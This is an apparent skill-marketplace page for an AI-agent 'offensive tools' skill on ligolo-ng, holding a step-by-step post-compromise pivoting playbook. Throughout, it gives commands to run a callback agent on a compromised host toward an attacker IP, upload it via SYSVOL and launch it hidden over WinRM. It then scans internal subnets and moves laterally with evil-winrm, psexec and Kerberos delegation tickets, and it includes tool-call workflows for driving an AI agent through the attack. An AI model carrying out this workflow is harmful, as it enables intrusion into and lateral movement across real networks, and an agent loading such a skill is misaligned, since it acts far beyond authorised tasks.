offensive-tools/network/ligolo-ng/SKILL.md
Auth/lab ref: Reverse tunneling tool that creates a TUN interface on the attacker machine to route traffic into internal networks via a compromised pivot host.
npx skillsauth add aeondave/malskill ligolo-ngInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Reverse tunneling via TUN interface — cleaner pivot than SOCKS/proxychains, works at network layer.
Attacker (proxy) ←—TLS tunnel— Victim pivot (agent) ——→ Internal network
[TUN iface] [compromised host] 192.168.1.0/24
No proxychains needed — all tools work natively against internal IP ranges.
# Attacker: create TUN interface and start proxy
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
# Victim pivot host: connect agent to proxy
./agent -connect <attacker_ip>:11601 -ignore-cert
# Back on attacker proxy console:
session # select the agent session
start # start tunneling
# Add route to internal subnet via TUN interface
sudo ip route add 192.168.1.0/24 dev ligolo
| Command | Description |
|---------|-------------|
| session | List / select active sessions |
| start | Start tunnel for selected session |
| stop | Stop tunnel |
| ifconfig | Show remote interfaces/subnets |
| listener_add | Add port forwarder (agent→proxy) |
| listener_list | List active listeners |
| listener_stop | Stop a listener |
To expose an internal service to the attacker:
# In proxy console (after selecting session):
listener_add --addr 0.0.0.0:4444 --to 192.168.1.5:445 --tcp
# Now target attacker:4444 → internal 192.168.1.5:445
WebUI prompt: ligolo-ng 0.8.x prompts Enable Ligolo-ng WebUI? (y/N) on first run, blocking startup. This is an interactive prompt using a terminal UI library — stdin pipe/redirect may not reach it.
Workaround for headless/agent execution:
ligolo-ng.yaml, subsequent runs skip the prompt.start_interactive_shell in MCPwn) so the prompt can be answered.ligolo-ng.yaml in CWD with webui: false.MCPwn interactive workflow:
# Start as interactive shell (required for session management)
start_interactive_shell(session_id, "ligolo-proxy -selfcert -laddr 0.0.0.0:11601")
# After agent connects, send commands via send_to_shell:
session # shows interactive selector
# send Enter to select first session
start # activates the tunnel
Critical operational note: do NOT reset the pivot host's machine account password (e.g. RODC01$) before using RBCD S4U tickets through the tunnel. The pivot's local LSASS retains the old key — Kerberos service tickets encrypted with the new key fail with STATUS_MORE_PROCESSING_REQUIRED.
# Full pivot setup
# Step 1: Start proxy (attacker)
sudo ./proxy -selfcert -laddr 0.0.0.0:11601
# Step 2: Run agent on pivot (upload via web server or existing shell)
# Linux pivot:
./agent -connect 10.10.14.1:11601 -ignore-cert &
# Windows pivot:
agent.exe -connect 10.10.14.1:11601 -ignore-cert
# Step 3: Add route (attacker)
# In proxy console:
session # ID: 1 - pivot-host
start
# In terminal:
sudo ip route add 10.200.1.0/24 dev ligolo
# Step 4: Use internal IPs directly
nmap -sS 10.200.1.0/24
nxc smb 10.200.1.0/24
evil-winrm -i 10.200.1.50 -u admin -p pass
Common in AD labs: DC → RODC on an internal subnet.
# 1. Proxy on attacker
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# 2. Agent on DC (has route to RODC subnet)
# Upload via SYSVOL (writable by domain users):
smbclient.py 'DOMAIN/user:pass@DC_IP' -c 'use SYSVOL; cd domain.local\scripts; put ligolo-agent.exe'
# Execute via WinRM with Start-Process (survives session close):
Start-Process -FilePath "C:\Windows\Temp\la.exe" -ArgumentList "-connect ATTACKER:11601 -ignore-cert" -WindowStyle Hidden
# 3. Select session + start tunnel in proxy console
session # Enter to select
start
# 4. Add route
sudo ip route add 192.168.100.0/24 dev ligolo
# 5. Now reach RODC directly
ping 192.168.100.2
psexec.py -k -no-pass -dc-ip DC_IP -target-ip 192.168.100.2 'DOMAIN/[email protected]'
Why ligolo over chisel for Kerberos: chisel TCP port-forwards cause Kerberos SPN validation failures (STATUS_MORE_PROCESSING_REQUIRED) because the client connects to 127.0.0.1 but the service ticket targets the real hostname. Ligolo's L3 TUN routing preserves the real destination IP, so Kerberos works natively.
For nested networks (attacker → pivot1 → pivot2 → internal):
| File | When to load |
|------|--------------|
| references/pivot-setup.md | Double pivot, TLS certificate setup, agent persistence, Windows service install |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.